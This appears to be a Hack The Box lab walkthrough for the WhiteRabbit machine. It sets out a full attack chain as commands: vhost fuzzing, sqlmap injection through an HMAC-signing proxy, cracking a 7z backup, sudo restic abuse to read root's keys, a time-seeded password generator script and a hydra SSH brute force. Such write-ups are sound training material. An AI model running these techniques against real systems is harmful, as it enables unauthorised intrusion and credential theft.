Mystic

WhiteRabbit WriteUp - HackTheBox


WhiteRabbit — Hack The Box Walkthrough

WhiteRabbit is an Insane-rated Linux machine on Hack The Box, and it definitely earns that label. It pushes you to think far beyond the obvious, dig deep into documentation, and research thoroughly (including scouring JavaScript files and even GitHub repositories). More than anything, it teaches the value of observing carefully rather than simply seeing what’s in front of you.

Enumeration

Nmap

Let’s start off with our usual Nmap scan. I like to first scan all the ports and then perform a thorough service scan on the ports found to save time.

nmap --min-rate 1000 -Pn 10.10.11.63 -p-  
  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-11 02:55 IST  
Nmap scan report for whiterabbit.htb (10.10.11.63)  
Host is up (0.16s latency).  
Not shown: 65521 closed tcp ports (conn-refused)  
PORT STATE SERVICE  
22/tcp open ssh  
80/tcp open http  
2222/tcp open EtherNetIP-1

Use -Pn as the machine blocks ping probes.

nmap -sVC -Pn 10.10.11.63 -p 22,80,2222  
  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-11 02:59 IST  
Nmap scan report for whiterabbit.htb (10.10.11.63)  
Host is up (0.21s latency).  
  
PORT STATE SERVICE VERSION  
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
| 256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)  
|\_ 256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)  
80/tcp open http Caddy httpd  
|\_http-title: White Rabbit - Pentesting Services  
|\_http-server-header: Caddy  
2222/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
| 256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)  
|\_ 256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Apparently, the machine has two ssh ports — 22 and 2222 and a web server at port 80 running on the target.

When we try to access the web server it redirects us to http://whiterabbit.htb. Let’s quickly add it to our /etc/hosts.

echo "10.10.11.63 whiterabbit.htb" | sudo tee -a /etc/hosts

This reveals the WhiteRabbit — Pentesting Services webpage.

Fig 1: WhiteRabbit Webpage

FFuF

From the exploitation point of view, this webpage is not important. Even fuzzing this page does not reveal anything spectacular, but what does yield some interesting results is fuzzing virtual hosts.

ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H 'Host: FUZZ.whiterabbit.htb' -u http://10.10.11.63 -t 128 -fs 0

Fig 2: FFuF VHosts

Uptime Kuma

Now let us add ‘status.whiterabbit.htb’ to our /etc/hosts using nano and visit the site. This reveals Uptime Kuma running on the target.

When we take a look at the developer console, we immediately get an idea of this being a react application. Going through the index-CYsZUv7d.js file, we find a bunch of paths like /engine.io, /status-page, /status, etc.

Fig 3: Uptime Kuma — Paths Now, we can visit all of them and Fuzz the API end-points such as /status/FUZZ or we can visit the Uptime Kuma repository on GitHub which, in an issue, reveals that /status contains some pages that are accessible without the user being authenticated. So, we fuzz that endpoint.

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://status.whiterabbit.htb/status/FUZZ -t 128

This scan reveals a very interesting endpoint that displays a test page— http://status.whiterabbit.htb/status/temp.

This gives us 2 more domains. Let us add these to our /etc/hosts too.

Fig 4: Test Page The GoPhish page turns out to be a rabbit hole but, the WikiJS page reveals a lot of useful information.

WikiJS

On exploring the WikiJS page we find a wiki about GoPhish Webhooks. It reveals that n8n is being used along with GoPhish to automate testing phishing.

The page provides us with very important details such as the n8n domain — **28efa8f7df.whiterabbit.htb** , a valid webhook for exploitation **/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d** and details about using an HMAC signature in the x-gophish-signature.

Fig 5: Request Example from WikiJS The signature is generated using the body of the request and a secret that can be found in the .json file available for download from the same page.

On going through the same json file, we find that the email parameter might be vulnerable to SQL injection.

Fig 6: HMAC Secret Let’s add the newly found domain (**28efa8f7df.whiterabbit.htb**) to /etc/hosts before proceeding further.

SQLMap

We’ll use SQLMap with a python proxy that generates the HMAC and signs every request to dump data from the server.

This is the proxy server that I created and used. To run this server:

python3 signing-proxy.py --listen 127.0.0.1 --port 8082 --target "http://28efa8f7df.whiterabbit.htb" --secret "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

Now let’s move to SQLMap and start with this command to check if SQL injection would work.

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" --method=POST --data='{"campaign\_id":1,"email":"[email protected]*","message":"Clicked Link"}' -p email --headers="Content-Type: application/json" --proxy http://127.0.0.1:8082 --batch --flush-session

The SQLite dump from this command reveals that the server is running MariaDB. Now let’s enumerate the databases.

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" --method=POST --data='{"campaign\_id":1,"email":"[email protected]*","message":"Clicked Link"}' -p email --headers="Content-Type: application/json" --proxy http://127.0.0.1:8082 --dbs --batch --flush-session

Fig 7: Enumerated Databases This gives us 3 databases out of which we enumerate the tables contained by each one and gradually come across a very interesting table — ‘command_log’ belonging to the temp database.

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" --method=POST --data='{"campaign\_id":1,"email":"[email protected]*","message":"Clicked Link"}' -p email --headers="Content-Type: application/json" --proxy http://127.0.0.1:8082 -D temp --tables --batch --flush-session

Now, let’s dump the table.

sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" --method=POST --data='{"campaign\_id":1,"email":"[email protected]*","message":"Clicked Link"}' -p email --headers="Content-Type: application/json" --proxy http://127.0.0.1:8082 -D temp -T command\_log --dump --batch

Fig 8: command_log Dump This output contains command logs which reveals a Restic repository at domain — 75951e6ff.whiterabbit.htb along with its password. We will add this domain to /etc/hosts and move on to download the backup.

Foothold

Restic

Let us start by listing Restic snapshots available on the repository.

export RESTIC\_REPOSITORY="rest:http://75951e6ff.whiterabbit.htb/"  
export RESTIC\_PASSWORD="ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw"  
restic snapshots

Fig 9: Restic Snapshots This is a backup of the ssh directory of a user — bob that exists on a shared directory on the whiterabbit machine (ssh using port 2222 found in Fig 2).

Let’s download this backup.

mkdir wr\_bkp  
restic restore 272cacd5 --target wr\_bkp

The backup contains an encrypted 7-zip file by the name of bob.7z.

Hash Cracking

For cracking the password of this file, we’ll use 7z2john to obtain the hash and then crack it with Hashcat.

The default version of John The Ripper might not have 7z2john. It can be downloaded from GitHub.

./7z2john.pl bob.7z > hash.txt

The file hash.txt would contain the hash in the format — bob.7z:$7z$2$19$0… which is valid, but for Hashcat, we need to remove the filename prefix so that it begins with— $7z$2$19$0…

And finally, we let Hashcat work its magic.

hashcat -m 11600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 11600 --show hash.txt

This reveals the password to the zip: 1q2w3e4r5t6y

Now, we unzip the file using 7zip to obtain the private ssh key for bob.

7z x bob.7z

SSH

We can ssh into the machine through port 2222 as bob.

chmod 600 bob  
ssh -i bob [email protected] -p 2222

The User Flag

After logging in as bob we do not see the user flag so, we try to find ways to escalate privilege. We find that bob can run Restic as root.

sudo -l  
  
Matching Defaults entries for bob on ebdce80611e9:  
 env\_reset, mail\_badpass,  
 secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,  
 use\_pty  
  
User bob may run the following commands on ebdce80611e9:  
 (ALL) NOPASSWD: /usr/bin/restic

We will use this to obtain a backup of the root directory.

First, we create a Restic repository

sudo restic init -r .

Then, we backup the root directory and list its contents.

sudo restic -r . backup /root  
sudo restic -r . ls latest

This reveals the private ssh key for morpheus — a user on whiterabbit.htb (ssh through port 22).

sudo restic -r . dump latest /root/morpheus

Now we grab the key and save it to our local machine (copy and paste the key from the terminal to a file named morpheus).

chmod 600 morpheus  
ssh -i morpheus [email protected]

And Viola! We get the user flag.

Privilege Escalation

On logging in to the machine, we find that there is another user — neo. Remember, from Fig 8, the password for neo was generated through a program located at /opt/neo-password-generator/neo-password-generator.

We now use scp to download this file.

scp -i morpheus [email protected]:/opt/neo-password-generator/neo-password-generator .

On analyzing the file, we understand that the password was generated using the time epoch of the instant the command was executed. We can get the exact date and time of execution of the command in seconds from Fig 8 and then brute force the password generated as we do not the exact micro seconds of execution of the command. There are a 1000 micro seconds in a second, so we’ll have to brute force a maximum of 2000 passwords.

We create a file pass_gen.py

from ctypes import CDLL  
import datetime  
  
libc = CDLL("libc.so.6")  
  
seconds = datetime.datetime(2024, 8, 30, 14, 40, 42,  
 tzinfo=datetime.timezone(datetime.timedelta(0))).timestamp()  
  
for i in range(0, 1000):  
 password = ""  
 microseconds = i  
 current\_seed\_value = int(seconds * 1000 + microseconds)  
  
 print(current\_seed\_value)  
 libc.srand(current\_seed\_value)  
 for j in range(0, 20):  
 rand\_int = libc.rand()  
 password += "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[rand\_int % 62]  
  
 print(password)

And then obtain a word list using this command.

python3 pass\_gen.py > pass.lst

Finally, we use hydra to brute force.

hydra -l neo -P pass.lst whiterabbit.htb ssh

Fig 10: User Neo Password Using the password obtained,

sshpass -p 'WBSxhWgfnMiclrV4dqfj' ssh [email protected]

Now, let’s check what privileges does neo have.

sudo -l  
  
[sudo] password for neo:   
Matching Defaults entries for neo on whiterabbit:  
 env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use\_pty  
  
User neo may run the following commands on whiterabbit:  
 (ALL : ALL) ALL

Well, neo can run everything as root!

Now we do

sudo su

And Boom! We are root.

The root flag can be obtained at /root/root.txt